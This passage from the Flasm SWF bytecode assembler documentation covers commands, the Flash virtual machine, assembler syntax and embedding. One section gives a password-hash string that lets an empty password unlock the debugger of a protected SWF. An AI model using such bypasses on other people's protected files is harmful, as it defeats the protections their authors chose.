  * `importAssets2` tag fix
  * `placeObject2` tag fix \(Flash 4\)
  * Calculate path to the `flasm.ini` in a more reliable way

**Flasm 1.6**

  * Flash 8: support for `metadata`, `fileAttributes` tags
  * Flash 8: support for `placeObject3`, `importAssets2` tags \(Wang Zhen\)
  * "Update with Flasm and Preview" JSFL action now works in Flash 8 IDE
  * Windows binary includes zlib 1.2.3
  * Fixed: names of register parameters of `function2` may contain non-English characters
  * Calling Flasm without a command: `flasm foo.flm` has the same effect as `flasm -a foo.flm`

Older changes are listed in `CHANGES.TXT` included in distribution.

### Usage

Flasm is a command line tool. To use it, you have to open DOS window first
\(Windows\). On Mac OS X, open terminal window:
`Applications/Utilities/Terminal`. Then go to the Flasm folder with `cd
c:\Flasm` \(Windows\) or `cd /flasm` \(Mac/Linux\), assuming you saved it
here. To execute Flasm, simply type in `flasm` \(Windows\) or
`./flasm`\(Mac/Linux\). Called without arguments, Flasm will show you the list
of possible commands described below.

`flasm  _command filename_`

` _command_`  
`-d` Disassemble SWF file to the console  
`-a` Assemble Flasm project  
`-u` Update SWF file, replace Flasm macros  
`-b` Assemble actions to `__bytecode__()` instruction or byte sequence  
`-z` Compress SWF with zlib  
`-x` Decompress SWF  

`-d foo.swf`  
Disassemble `foo.swf` to the console. To see action offsets in disassembly set
`showoffset` and `hexoffset` options in `flasm.ini`.

`-d foo.swf > foo.flm`  
Disassemble `foo.swf`, redirect the output to `foo.flm`. Calling Flasm without
a command on a `.swf` file has the same effect.

`-a foo.flm`  
Assemble `foo.flm` and update the SWF defined inside. Calling Flasm without a
command on a `.flm` file has the same effect.  
The backup of original SWF is created with `.$wf` extension.

`-u foo.swf`  
Disassemble `foo.swf` to the temporary file.  
Execute Flasm macros embedded in SWF.  
Make trivial optimizations automatically: remove double nots, replace `0.0`
with `0`, rebuild constant pools, clear register arguments.  
Create `.$wf` backup, update the original SWF.

It's a good idea to update the final version of SWF with `flasm -u`. Don't
expect the SWF to be noticeably faster, it will just make it a bit smaller.

`-b foo.txt`  
produce `__bytecode__` instruction or byte sequence, depending on `boutput`
setting in `flasm.ini`. Takes as input a simple action list without any
`movie` or `frame` declarations. Output is sent to console. Redirect it to
file if you wish: `flasm -b foo.txt > foo.as` When `boutput` is set to `1`,
Flasm produces binary output — probably of use for inserting raw action chunks
into swf files build by other tools on server.

`-x foo.swf`  
Decompress `foo.swf`, create `.$wf` backup.

`-z foo.swf`  
Compress `foo.swf`, create `.$wf` backup. Source SWF doesn't have to be Flash
MX file. However, only Flash MX and later players will be able to play the
resulting compressed file.

Flasm settings are read from the configuration file `flasm.ini`. Available
options are commented in `flasm.ini` and explained at appropriate places in
the documentation.`flasm.ini` is searched for in the working directory and, if
not found, in the directory where the Flasm binary resides.

All errors and warnings go to the console. If you want to log them in a file
instead, uncomment `logto` option in `flasm.ini` and enter the desired log
file name there. Set`logmode` option to `0` \(default\) to append new messages
to the log file. If `logmode` is set to `1` the log file will be overwritten
each time you run Flasm.

If you like Flasm and use it often, you may want to add it to Windows right-
click context menu for SWF files. The explanation is for Windows 2000, but it
should work with minor changes for any Windows version.  
Start Windows Explorer. Select `View, Folder Options,` click the `File Types`
tab, and choose `Flash player movie` \(or similar\) type, which stands for SWF
file extension. Click`Edit` button, then click `New` button. In the `Action`
field enter `Disassemble`. Click the `Browse` button, navigate to the Flasm's
folder, and double-click on `flasm.exe`. No parameters are needed. Click `OK,
Close,` and `Close` again. Now right click on any SWF and choose
`Disassemble`. The disassembly of `somename.swf` will be stored in
file`somename.flm` in SWF's folder. Further automating is possible, adding
`flasm -u` for updating SWFs or `flasm -a` for assembling flm files.

If you don't want to do that, look at WinFlasm — simple windows GUI wrapper
for Flasm. Note WinFlasm is old and does not support all Flasm commands.

### Flash virtual machine

Stack  
Constant pool  
Global registers  
Local registers

Every ActionScript statement is compiled by Flash into a couple of simple
bytecode actions. For example, `a=b*b;` is transformed into

`constants 'a', 'b'  
push 'a', 'b'  
getVariable  
push 'b'  
getVariable  
multiply  
setVariable`

The bytecodes are stored in SWF in binary form. They are interpreted by the
_virtual machine_ of the Flash Player. The code above is the visual
representation of the bytecodes, created by Flasm.

I'll call actions inside of a frame or event  _action blocks._ Flash executes
action blocks one after another, so the execution flow inside of a block is
_never_ interrupted, neither by event nor by `gotoAndPlay()` or similar
actions. Real parallel execution would be nicer? I'm sure it would
dramatically affect player stability, which is great now, considering all
things going on in a complex movie.

**Stack**

Flash virtual machine is stack based, you can not refer to the particular
memory location. The stack is a place in memory where data can be stored so
that the last entered \(pushed\) value will be extracted \(popped\) first from
the stack. Every command reads \(and pops\) operands from stack and pushes the
result \(if any\) onto the stack.

The stack may contain elements of arbitrary type — integers, strings, floats
and some others. If needed, type conversion happens during execution — like in
ActionScript. Often there's no difference between the string `'10'`, integer
`10` or double `10.0`.

Further stack explanation by Robert Penner:  

> If you're familiar with `Array.push` and `Array.pop`, those commands are
> similar to stack manipulations. The stack is like an array of values, except
> you can only access the value on top, push another value onto the top, or
> swap the top two values.  
> For instance, to add two numbers, you have to push both of them onto the
> stack, then call `add`. The `add` command will pop the top two values off
> the stack, add them together, and push the value onto the stack.
The `pop` action leads to no errors if the stack is empty. The special `UNDEF`
value is popped then, that corresponds to the ActionScript's `undefined`.

These two actions give you additional functionality for stack handling: `dup`
and `swap`. `dup` duplicates the value on top of the stack, `swap` swaps the
two topmost values. Currently Flash doesn't use `dup` and `swap` very often as
you'll see in disassembly, but they are of great importance for optimization.

Every ActionScript statement, regardless of its complexity, leaves the stack
empty after execution. In Flash IDE you don't see the bytecodes and don't have
to worry about it. Making changes to bytecodes with Flasm, however, you should
always count what's on stack. Improper stack manipulation often doesn't lead
to any errors in Flash player. You will not see the 10.000 dead stack entries
your loop produced, but the execution will slow down and the SWF probably runs
out of memory at some point.

The stack was global in Flash 5. If the value was pushed in frame 1, frame 5
could trace it successfully. It was accessible in movie clips too. With Flash
MX the situation changed: Flash Players 6 and 7 flush stack contents after
every action block.

**Constant pool**

At the beginning of every action block where variables, methods or strings are
used more than once, Flash creates so called  _constant pool_. In fact, if at
least one variable is used twice, the pool is created for all strings in the
block. Here is an example:

`constants 'bottom', 'paused', 'aliensleft', 'fire'`

Constant pool can hold up to 65535 strings \(in theory\). These can be
addressed later in your actions with 1 byte \(first 256 strings in the pool\)
or 2 byte \(the rest of the pool\) reference. Commonly no more than 256
strings are stored, so you rarely meet 2 byte references in SWF. Practically
the number of strings is limited by overall size of`constants` action, which
can't exceed 65535 bytes like any other action.

Flasm disassembler abstracts constant references away by default. They are
showed as strings. To see actual references in disassembly, set
`literalconstants` option in`flasm.ini` to `0`. The difference between strings
and constant pool members will be obvious then.

Writing `push c:1` after the above `constants` definition means  _push second
constant from the pool_ \(counting from 0\). Writing `push 'paused'` will in
turn have the same effect, because Flasm finds the constant in the pool
automatically and substitutes string with reference during assembly.

If no previous constant pool declaration is found in the same action block,
however, the string `'paused'` will be pushed as is. The difference is in code
size only, not in execution speed — naturally, the string `'paused'` takes
five bytes more than one-byte reference. Don't forget to add your strings to
the constant pool.

In update mode \(`flasm -u foo.swf`\) Flasm rebuilds all constants, removing
empty strings and those referenced only once.

The constant pool defined at the start of the frame is valid for every
function in this frame. I've never seen constants defined in functions in
disassembly. Every event has its own constant pool though.

Although Flash itself never redefines constant pool in the middle of the
action block, theoretically you're allowed to do this. Flasm disassembler
versions < 1.52 couldn't really deal with multiple constant pools. Flasm 1.52
will show constant references in `c:xx` form. To always show strings
\(resembles Flasm < 1.52 behavior, may be inaccurate\) set`literalconstants`
to `2`.

**Global registers**

Flash virtual machine has 4 global registers that are addressed `r:0, r:1,
r:2, r:3`. Accessing variables is much slower than accessing registers, so you
should store your most used variables there. Flash versions before MX 2004
only used `r:0`, so there was enough room for optimization. Flash MX 2004's
compiler, however, may substitute local variables with other registers — a
very good reason to use local variables in ActionScript.

To store something in a register, you should first put this something onto the
stack and then execute `setRegister` command:

`push 'paused'  
getVariable  
setRegister r:1`

Now the value of variable `paused` is stored in `r:1`. Instead of asking for
`paused` next time, use `push r:1`.  
**Note:** Unlike most other commands, `setRegister` does not pop the top value
from stack\! If you don't need the value stored in register to be on stack,
you should manually`pop` it.

The value of global register, defined in a particular frame on `_root`, is
available to all functions in this frame. If some function is defined or movie
clip happens here, it can access or overwrite the register too. It looks like
after the `showFrame` tag occurs in SWF, registers disappear. Generally you
don't know what happens to the global register. Of course, calling function A
from the middle of function B should leave registers untouched. Flash MX
2004's compiler takes care of it — at the start of the function registers are
saved on stack, at the end original values are restored. You should pay some
attention here, too.

**Local registers**

Inside of `function2` \(Flash Player 6.0.65 and above\), and only there, up to
255 local registers exist — from `r:0` to `r:254`. Why not 256? In the
`function2` header, the number of local registers used in this function is
stored in a byte. At the start of `function2` the place for local registers is
allocated somewhere in memory. The highest possible value for a byte is 255.

Generally, you don't have to care about the number of allocated registers —
Flasm calculates this number automatically, and it's not shown in disassembly.
Please take consequent registers numbers — using `r:1` and `r:254` only forces
Flasm and Flash Player to allocate 255 registers, which may have impact on
memory.

Since local registers are addressed by the same bytecodes as global registers
— `setRegister` and `push r:_something_`, `function2` has no access to the
global registers. Even more confusing is the scope — imagine you have `frame
A`, `function2 B` inside of `A`, and `function C` inside of `B`. Now
`function2 B` nicely has its own set of registers, and is totally unaware of
global registers. That's OK. But `function C` will share four global registers
with `frame A`\!

Besides of all that, local registers function just like global ones. There's
no speed difference, too. To summarize: in SWF7 there are still four global
registers everywhere outside `function2`, but any `function2` may allocate a
set of 255 local registers.

### Assembler syntax

Data types and push

Control flow

Button events

Play head control

setTarget/setTargetExpr

function2

try/catch/finally

protect/enableDebugger

scriptLimits

Unknown actions

For details on SWF file format, read Macromedia's description and Alexis' SWF
Reference. Macromedia has updated the docs for Flash 7 file format in November
2003. For historical reasons Flasm has its own names for some actions,
slightly different from Macromedia's names. Important differences and
abstractions are described here. If in doubt, look into `action.h` from
Flasm's source distribution.

Every Flasm project must start with `movie '_moviename_.swf'`. The `
_moviename_.swf` is the name of your SWF origin. Don't forget to include the
file name in quotes. At assembling time Flasm first looks here and then tries
to overwrite the file. The backup of target SWF is created with `.$wf`
extension. If update fails for whatever reason, however, the original file
will not be destroyed and no backup will be created.

If `compressed` attribute is found just after movie name \(`movie
'_moviename_.swf' compressed`\), SWF will be compressed after assembling.
Original SWF may be compressed or not, `compressed` keyword decides about
compression of updated SWF.

Flasm is case insensitive \(excluding string values that  _may_ be case
sensitive\). If you must use a single quote in your strings, escape it like
this: `'it\'s beautiful'`. Alternatively you can include string in double
quotes: `"it's beautiful"`.

Comments look exactly like in ActionScript:  
`// calculating distance`  
or multi-line comment:  
`/* calculating  
distance */`

Flasm implements `#include` macro. `#include 'loop.flm'` will be substituted
with the contents of `loop.flm`. Nested and multiple includes are allowed too:
`foo.flm` includes`routine.flm`, which includes `loop.flm` and `calc.flm`.
Maximum nesting depth is 10.

I introduced some extra constructs in order to match the SWF structure. These
serve as containers for Flash actions: `frame`, `defineButton`,
`defineMovieClip`, `initMovieClip`,`movie`, `on`, `onClipEvent`,
`placeMovieClip`.

Other supported tags: `enableDebugger`, `enableDebugger2`, `exportAssets`,
`fileAttributes`. `importAssets`, `importAssets2`, `metadata`, `protect`,
`scriptLimits`.

Please don't alter the SWF structure\! It means don't delete, replace or add
action block containers\! Well, you may add or delete an extra event without
causing any damage. But if you remove a frame or change the movie clip id,
Flasm will be no more able to find the pendant to it and any subsequent
statements at assembling time.

**Data types and push**

Well, `push` is the core action in SWF and we'll go a bit more into detail
here. Since you can push all kinds of values onto the stack, the `push` action
has an internal type attribute in SWF. While you don't see and can't access
the push type from within Flasm, Flasm decides what type to use based on how
your data is formatted.

Push type | Number of bytes | What it means | Example   
---|---|---|---  
`0`| `string length + 1 `| `string`| `push 'Hello'`  
`1`| `4`| `float`| `push Y_PROPERTY`  
`2`| `0`| `null`| `push NULL`  
`3`| `0`| `undefined`| `push UNDEF`  
`4`| `1`| `register`| `push r:2`  
`5`| `1`| `boolean`| `push TRUE`  
`6`| `8`| `double`| `push 3.1415926`  
`7`| `4`| `integer`| `push 25`  
`8`| `1`| `constant (0-255)`| `push 'Hello'`  
`9`| `2`| `constant (256-65534)` | `push 'Hello'`  
Strings must be included in single or double quotes and may contain escape
characters: `\b, \f, \n, \r, \t` and `\\`. No line break is allowed inside of
a string. If Flasm founds`push 'Hello'` statement, it first looks into the
constant pool for the current action block. If the string is defined there, 1-
or 2-byte reference is pushed \(push type `8` or `9`\); if not, the string
itself \(type `0`\).

Integers are recognized in decimal and hexadecimal notation \(`0xF0F0`\).
Doubles are decimal: `-3.1415926`. The notation `9.4e-10` is supported too. In
addition, constants `_NAN`,`POSITIVE_INFINITY` and `NEGATIVE_INFINITY` are
defined as double values.

`0.0` is considered double; `0` is an integer. Flash compiler itself always
stores `0` as double `0.0`. In update mode Flasm will automatically replace
all `0.0` occurrences with `0`, saving 4 bytes per each replace.

Push type `1` is only used by Flash to store property values. Flash 4 stored
all number values as strings \(push type `0`\), Flash 5+ utilizes push type
`7` for integers and push type `6`for floats.

However, Flash is not the only program creating SWFs. I know now of at least
one third-party program \(3D-Flash Animator\), which uses type `1` for
actually storing numbers. So while Flasm will disassemble type `1` to property
constant if possible, all values that couldn't be resolved to any constant
will be shown as floats: `-3.1415926f` or `100.0f`. You can use this notation
in your Flasm projects too, saving 4 bytes per number. Any floating point
value which ends with `f` will be treated as single-precision float and stored
with push type `1` \(beware of limited precision\). The constants `_NANF`,
`POSITIVE_INFINITYF` and `NEGATIVE_INFINITYF` are defined too.

One `push` statement can handle multiple values of different types: `push
'Hello', 3.141, XSCALE_PROPERTY`. It's not just a shortcut in Flasm for 3
single `push` actions, but a shorter and faster way.

**Control flow**

Jumps inside of the action block are implemented with `branch` and
`branchIfTrue` actions. Every high level ActionScript construct like `if (..)
then .. else ..` or`while (..) do ..` is converted to some
`branch/branchIfTrue` pattern. `branch` simply jumps to the specified label.
For example, the translation of `if .. then .. else`construct always has a
`branch` after its `then` part, which skips the `else` part and jumps forward
to the end of `if`. Backward jumps are allowed too, loops always contain
them.`branchIfTrue` takes the condition from stack.

Internally relative numerical branch offsets are stored in SWF after every
branch instruction. During disassembling Flasm creates unique label for every
offset with the name`label1 .. labelN`, which hides the branch offset from
your eyes and makes the disassembly more readable. The syntax is `branch
label4` or `branchIfTrue label6`. Somewhere in the same action block the label
\(identifier followed by colon\) must be present. You are by no means forced
to use identifiers like `label5:`. Choose meaningful names \(`LoopStart:`,
`SearchComplete:` etc.\) instead.

Let's take an example: the really fast countdown loop, which can't be made
with Flash \(and can't be decompiled to any valid ActionScript\).

`push 0,1,2,3,4,5,6,7,8,9,10  
loopstart**:**  
dup  
trace  
branchIfTrue loopstart`

First 10 values are pushed onto the stack. Note the last pushed value \(`10`\)
will be on top of the stack. We have to duplicate the value in loop with
`dup`, because we need it two times: `trace` pops the first value,
`branchIfTrue` gets the second as loop condition. Since `branchIfTrue`
converts condition to boolean, loop executes until `0` is found, which
evaluates to false and stops the loop.

**Button events**

Every single button event `on` contains one or multiple of the following:

`idleToOverUp`| `overUpToIdle`| `overUpToOverDown`  
---|---|---  
`overDownToOverUp` | `overDownToOutDown` | `outDownToOverDown`  
`outDownToIdle`| `idleToOverDown`| `overDownToIdle`  
`keyPress`|  |   
There's no one-to-one relation of ActionScript button events and events stored
in SWF. Some ActionScript events actually set multiple SWF events. That's why
the names are different.

`keyPress` is used in the form `keyPress '_char_ '` or `keyPpress  _const_`,
for example `keyPress 'a'` or `keyPress _SPACE`. All constants correspond to
those in Flash authoring:`_BACKSPACE`, `_DELETE`, `_DOWN`, `_END`, `_ENTER`,
`_ESCAPE`, `_HOME`, `_INSERT`, `_LEFT`, `_PAGEDOWN`, `_PAGEUP`, `_RIGHT`,
`_SPACE`, `_TAB`, `_UP`.

You are free to change button event conditions in Flasm code.

**Play head control**

The SWF file format describes three actions for this task: `gotoFrame` \(frame
number as operand\), `gotoFrame2` \(takes the frame number from stack\) and
`gotoLabel` \(frame label as operand\). While Flasm's `gotoFrame` and
`gotoLabel` actions are named exactly like their SWF format pendants,
`gotoFrame2` action is not present. For your convenience`gotoFrame2` is showed
as `gotoAndPlay`/`gotoAndStop`. In SWF `gotoFrame2` is a sole action with a
byte flag for play/stop.

Additionally, if you have multiple scenes, Flash puts yet another argument
here — the total number of frames in all scenes before the one you're jumping
to. These frames will be skipped by Flash player — in other words, added to
the expression on stack. This allows for using `gotoAndPlay`/`gotoAndStop`
with a frame number inside of current scene instead of absolute frame number
which starts from the beginning of SWF. Remember, scenes do not exist in SWF.
In this case Flasm will show you something like`gotoAndStop skip 10`. Note
you're in trouble if your expression represents label string instead of
integer frame number. Flash player doesn't care and will add frames to skip
here too — and play head jumps to the false frame. Try using
`_root.gotoAndStop()`. Here movie clip method will be used instead of single
instruction. It does no corrections and will work properly for labels.

Higher Flash versions tend to use `gotoAndPlay/gotoAndStop` methods of the
movie clip object \(passing them as strings\) to control movie clips.

`gotoLabel` is rarely seen in disassembly, because Flash replaces it with
frame-based actions exporting SWF. Only if Flash can't resolve the frame
number \(the label is not on the same timeline\), `gotoLabel` will be left as
is. Labels, however, are still present in SWF and may be accessed from
javascript or whatever hosts the SWF, even if jumps to these labels were
eliminated.

**setTarget and setTargetExpr**

`setTarget` action corresponds to `tellTarget` in ActionScript. If target is
an expression, `setTargetExpr` is used, which pops the target string from
stack. Flasm shows it like

`setTarget '/defender'  
gotoFrame 1  
play  
end`|  or | `setTargetExpr  
gotoFrame 1  
play  
end`  
---|---|---  
The `end` statement does not exist in bytecode; Flash uses `setTarget ''` to
mark the end of “targeted” statements.

`setTarget '/defender'  
gotoFrame 1  
play  
setTarget ''`|  or | `setTargetExpr  
gotoFrame 1  
play  
setTarget ''`  
---|---|---  
Since every `setTarget` is handled by Flash this way, I decided to make it
look more readable. Nesting of `setTarget` blocks is not allowed.

**function2**

Flash MX 2004 introduced new `function2` bytecode, which works in Flash Player
6.0.65 and above. `function2` is an extended version of `function`. In
disassembly, it looks like this:

`function2 test (r:3='arg1', 'arg2', r:4='arg3') (r:1='this', r:2='_root')`

In first parenthesis function arguments are shown. These arguments may be
stored in local registers. Each `function2` has its own set of local
registers. If register is absent, the corresponding argument isn't stored in
register and behaves just like normal function argument. If register is
present, the corresponding argument is stored there before`function2`
executes.

You can't access arguments stored in registers by name \(with `getVariable`\),
only by `r:_something_` \(`_something_` being numerical or literal, see
below\). That means their names are effectively useless in SWF. If
`clearregisterargs` is set to `1` in `flasm.ini`, `flasm -u` will remove these
names from SWF, making it a bit smaller and forcing decompilers to name
arguments `arg1, arg2, ...,` because actual parameter names will be lost. To
the best of my knowledge it doesn't affect code execution in any way.

Second parenthesis contains “automatic” parameters. Their values are
calculated and stored in local registers before function executes, like
function arguments. Currently \(in SWF7\) there are six possible values:
`'this'`, `'arguments'`, `'super'`, `'_root'`, `'_parent'` and `'_global'`.
Internally in SWF the corresponding bits in an unsigned integer value are set
to indicate the presence of such value. For the sake of understandability
Flasm shows them in literal form, however you can't add your own particular
value here or affect register allocation. Registers are allocated by Flash
Player in the above order, i.e the value of `'this'` goes to `r:1`, the value
of `'arguments'` to `r:2` etc. If `'this'` is absent,`'arguments'` goes to
`r:1`. If you accidentally tell Flasm to store automatic values in wrong
registers, Flasm will report an error.

So the use of local registers in `function2` is threefold: arguments,
“automatic” values and local variables are stored there.

If `literalregisters` flag is set to `1` in `flasm.ini`, Flasm will
disassemble `function2` like this:

`function2 isSpace (r:1='char')  
push r:char  
...  
end // of function isSpace`

instead of

`function2 isSpace (r:1='char')  
push r:1  
...  
end // of function isSpace`

I.e. all `function2` arguments and automatic values like `'this'` will be
shown with their literal names after `r:`. Of course, you're free to write
your own code using literal registers. `r:char` in the example above means
exactly the same as `r:1`, and you may use numerical and literal notations
together without any problems. However, you can't name other registers \(local
variables or like\).

You can safely store your own values in local registers, Flasm automatically
adjusts the number of registers to allocate for any `function2`. This number,
although stored in SWF, is invisible in disassembly. A small side-effect: for
whatever reason Flash compiler often allocates more registers than needed.
Flasm will allocate the minimal possible number.

An edge case: `this`, `arguments` and `super` automatic parameters will be
suppressed by Flash player if they don't appear in second parenthesis. They
will neither be stored in registers nor accessible by name inside of
`function2`. Normally, you don't care: if you need one of these, allocate a
register for it. In the very special case where you don't want to do it, but
still want to access the parameter by name, you can list it without register
given. Listing `'_root'`, `'_parent'` and `'_global'` makes no difference.
They are always available by name anyway. Nice, what?

**The try/catch/finally block**

There is a new `try-catch-finally` construct in Flash MX 2004. In SWF all
`catch` blocks are merged into one, and exception condition checking is done
with normal control flow there. In disassembly, the variable that holds the
actual exception will be shown after `try` keyword, not `catch`. Like this:

`try 'e'  
push 'x'  
getVariable  
throw  
branch label1  
catch  
push 5  
trace  
label1:  
end // of try  
`

Alternatively, condition may be held in a register: `try r:2` or `try
r:_something_` \(literal register\). Data type exceptions, for example, are
always transferred through register, usually `r:0`. Other registers are used
if error variable is declared local inside of `try` block \(thanks to Alex
Bradley for finding this out\), or given as parameter to `function2` that
contains the `try/catch/finally` block.

The `throw` action stores condition in a variable or register given after the
`try` keyword automatically, you don't have to do it explicitly. The condition
is then available at the start of `catch` block.

**protect, enableDebugger and enableDebugger2 tags**

`protect` was meant by Macromedia as a hint for authoring program, saying that
the author of particular SWF doesn't wish it to be opened in Flash IDE.
`protect` is not actually protecting anything, any program that deals with SWF
can simply ignore it. In Flasm, `protect` will be shown, and can be
added/deleted. You can place it anywhere in SWF, albeit usual location is
somewhere near to the beginning. Note `protect` is not an action, so it has to
be outside of action blocks. Passwords are encoded by Flash compiler into a 28
characters long string, consisting of these parts \(Paul Cannon\):

> The `$1$` at the start does signify an encryption scheme; it's the
> traditional way to indicate a crypt-MD5 password. Everything between the
> second and third `$` is the salt, and everything after the last `$` is the
> hashed password, in a sort of base-64 representation.
Flasm will show the encoded string, but not the password.

`enableDebugger` is another attempt to secure the content of SWF. Always
protected by password \(Flasm will show the encoded string\), this tag gives
you the ability to “remote debug” the SWF. If you don't know the password,
debugger will not let you in. If you delete the password, debugger will not
let you in. But if you change `enableDebugger`parameter to
`'$1$.e$7cXTDev5MooPv3voVnOMX1'`, empty password will be accepted.

To say it clear one more time: above tags, including encrypted passwords, give
you no protection and can be safely deleted or altered.

Flash MX allows debugging on source code level, so there is a new tag
`enableDebugger2`, which is used instead of `enableDebugger`. It makes no
difference at all. However, Flasm will not show another tag \(63\) or contents
of external file used by debugger, don't know anything about their format.

**scriptLimits tag**

Introduced with Flash Player 7, scriptLimits tag gives you control about the
maximum recursion depth and the maximum time before the famous "Script causes
the movie to run slowly.." message appears. So far I know, these settings can
not be changed in Flash IDE. The following syntax is used:

`scriptLimits recursion 2000 timeout 10`

While increasing recursion depth \(256 by default\) is surely useful in some
situations, you may actually want to  _decrease_ the time-out for ActionScript
for testing purposes. Instead of standard 15 or 20 seconds, setting the value
to 1 or 2 will immediately show you where the bottlenecks are.

**Unknown actions support**

Flasm 1.6 knows every Flash action, including Flash 8 actions. Only subset of
possible bytecodes, however, is currently used by Flash. Part of bytecodes
space is reserved for third-party applications. For example, Apple's QuickTime
added tag `0xAA` for QuickTime actions. Flasm is able to disassemble/assemble
actions it doesn't know. The disassembly line looks like

`swfAction 0x02 // Unknown action!`

If the action has additional data, `hexdata` part is present:

`swfAction 0xAA hexdata 0x43,0x12,0x18 // Unknown action!`

The data is shown as comma separated list of hex bytes. If you define your own
actions for some proprietary application, there is no need to include tag
length in `hexdata`field — the length is calculated and added automatically if
`hexdata` keyword is found. Don't forget, only bytecodes > `0x80` may have
additional data.

### Embedding Flasm code in ActionScript

If invoked with `-u` command \(`flasm -u foo.swf`\), Flasm processes macros
embedded in your ActionScript and updates the SWF with Flasm statements. It's
not unlike embedding assembler in C or Pascal. The syntax is a bit special to
let Flash compile scripts without errors — you have to include Flasm
statements in quotes. An example:

`"push 'Hello world!'"  
"push myTextField"  
"setVariable"`

The above has the same effect as `myTextField = "Hello world!";` ActionScript
statement. Semicolons are not required, but will do no harm. Flasm code
strings are allowed everywhere in your scripts, so don't worry about the right
placement. Any restrictions? Sure. Don't define frames or movie clips in
embedded Flasm. If you embed, you are already inside of some frame or event
definition. Make sure the stack is empty after your embedded code executes.
It's not a restriction, but you probably don't want to cause memory leaks.

All Flasm actions behave as expected, there is only one important difference
to consider — if you use `constants` declaration in embedded scripts, Flasm
will add them to the main pool in the action block instead of redefining it.
The same goes for `constants` inside of any included file. Using `#include` as
part of the embedded string, please take care of slashes. Use normal slashes
and not backslashes in file path. Latter will be escaped, if not deleted by
Flash.

While Flasm works just fine with compression enabled in Flash MX, update
process will require two additional steps: decompressing and compressing. If
your computer is slow, you may consider disabling compression in Flash publish
settings. You can always compress SWF with `flasm -z` as last step before
distribution.

**Testing embedded actions from within Flash IDE**

Of course you can export the SWF, update it with Flasm, and check for errors
then. Testing directly from Flash IDE would be nicer. Since Flash IDE has no
post processing interface, it's rather tricky.

**Flash 8 and Flash MX 2004**

I've written a dll and a JSFL script which manages to preview your SWF in
internal player. Here we go.

  * Copy `flasmhelper.dll` from `helper` directory of Flasm distribution to `External Libraries` directory inside of your Flash configuration folder.  
On windows 2000 and XP Flash 8 configuration is located here: `C:\Documents
and Settings\_username_ \Local Settings\Application Data\Macromedia\Flash
8\en\Configuration`. The path will vary for non-English Windows and/or Flash.

  * Copy `Update with Flasm and Preview.jsfl` to `Commands` directory inside Flash configuration folder.
  * Edit the first line of JSFL script and adjust path to the Flasm executable.
  * Start Flash 8/MX 2004. "Update with Flasm and Preview" should be now available under "Commands". If you wish, associate a shortcut with it.
  * You are all set. Execute the command to preview embedded Flasm actions. You have to write some first :\) If unsure, re-read previous section.

All Flasm messages and errors should go to the output window now. You may also
use trace statements in Flasm code. Please note JSFL isn't that stable. Flash
8/MX 2004 may crash or run out of memory occasionally. This has nothing to do
with my particular JSFL code or dll.

The dll is reasonably secure in the sense it will execute only a program
called `flasm.exe`, no `command.com` or such. It should be enough to prevent
simple abusing it from malicious JSFL scripts. The dll is tested under Windows
2000 and XP. Please tell me if it works for you on Windows 98/ME — or if it
doesn't.

It shouldn't be too hard to port the library to Mac. To a pity, I don't own a
Mac and can't do it myself. If you have interest in porting, drop me a line,
I'll make the source available on request. To make sure you have all the
prerequisites, try compiling the Mac sample from Macromedia.

**Flash 5 or MX**

There was no JSFL. Sven König has found a way, and I've implemented it in
Flasm. We'll make Flash believe Flasm is a browser. While proper installation
requires some tweaking, it will work like a charm once you got it. I'll
describe the procedure for Windows, but something similar should work on Mac
too.

  *   * Copy `flasm.exe` and `flasm.ini` into the `Browser` subdirectory of Flash.  
For Flash 5, the `Browser` subdirectory is inside of your Flash install
folder.  
Flash MX, stores settings elsewhere. If `Browser` subdirectory does not exist,
create it.  
Windows 2000 or XP: `C:\Documents and Settings\_username_ \Application
Data\Macromedia\Flash MX\Configuration\Browser`  
Windows 98 or ME: `C:\Windows\Application Data\Macromedia\Flash
MX\Configuration\Browser`  
Windows NT: `[Windows directory]\profiles\[username]\Application
Data\Macromedia\Flash MX\Configuration\Browser`  
Mac OS X: `Hard Drive/Users/Library/Application
Support/Macromedia/FlashMX/Configuration/Browser`  
Embedding on Mac is untested, please drop me a line if you get it to work.

  * Rename `flasm.exe` to `iexplore.exe`
  * Create shortcut to your new `iexplore.exe` in the same subdirectory. Don't worry, it doesn't affect the real browser.
  * Open `flasm.ini` in a text editor. Change `flaplayer` and `flabrowser` values to contain your Flash player and internet browser path, respectively. Long file names are not supported in dos, you should first discover what the corresponding short names look like: `"C:\PROGRA~1\INTERN~1\IEXPLORE.EXE"` or similar. Even if you're on Win 2000, please use short names. Set the value of `flatest` to “`flaplayer`” if you want to test your files in player, and to “`flabrowser`”, if you'll test in browser. You can change`flatest` value later while testing without restarting machine or Flash. or Flash IDE.
  * Done. Now open your file in Flash, insert Flasm code, make sure `HTML` and “`Use Default Names`” boxes are checked in Flash publish settings, and press `F12` \(Publish Preview\).

Flash will compile the SWF, look for browser shortcut, check the name
\(`iexplore.exe`\) is ok, give the HTML file name to Flasm. After calculating
the real SWF name Flasm will update the SWF and invoke browser or player to
show it. The DOS box appears for the short time, but will only stay open if
there are error messages to report. I guess \(based on my experience\) the
most popular error would be “`Could not start: c:\...\...\foo.exe`”, because
the path in `flaplayer` or `flabrowser` is wrong. Correct it and try again.

Doesn't work? Have you tried it with Flash MX 2004 by chance? MX 2004 doesn't
seem to support default browser mechanism any more, use the first dll/JSFL
method.

Sometimes Flash just doesn't start Flasm. Enter something in actions window.
Or uncheck HTML in export settings, publish, check it again, publish. Or
delete iexplore shortcut from browser directory, publish, restore shortcut.
`#include` may fail in Flash IDE if you haven't exported the SWF to the right
location before. Check publish settings.

In Resources you'll find links to the small debugger by Pavils Jurjans and
profiler by Ben Schleimer.

### Optimization techniques

Measurement

ActionScript optimizations

Flasm optimizations

Double nots

Thanks

Huge bitmaps, not optimized vectors, false frame rates, animating many movie
clips at the same time, loading large XML files, dealing with tons of editable
text, streaming high quality sound, or simply viewing SWF on mac — in 95% of
all cases, bad SWF performance has nothing to do with ActionScript. Flasm,
although being “yet another cool tool”, is no solution for above problems.
Optimizing with Flasm makes sense for games, 3D engines, path finding,
actually converting large amounts of data —  _computing_ things in general.
Flash MX 2004 and Flash 8 made things much better here, too — at least for
newer Flash Players.

If you're unsure where is the bottle neck: slow drawing or slow calculating,
there is a simple trick: make the player or browser window very small and
switch aliasing off in the Flash Player. If performance increases
significantly, you probably should optimize your graphics or movie clip
structure first.

**Measurement**

Don't try to optimize every single line of your code — you'll just make it
unreadable, probably omit some important places, and nobody will ever notice
10.000 hours of your hard work. The key to any optimization is measurement.
Bottle necks are very hard to guess. I used to have plenty of tips here, well
tested for Flash 5 and Flash 4, but it just can't work this way because of the
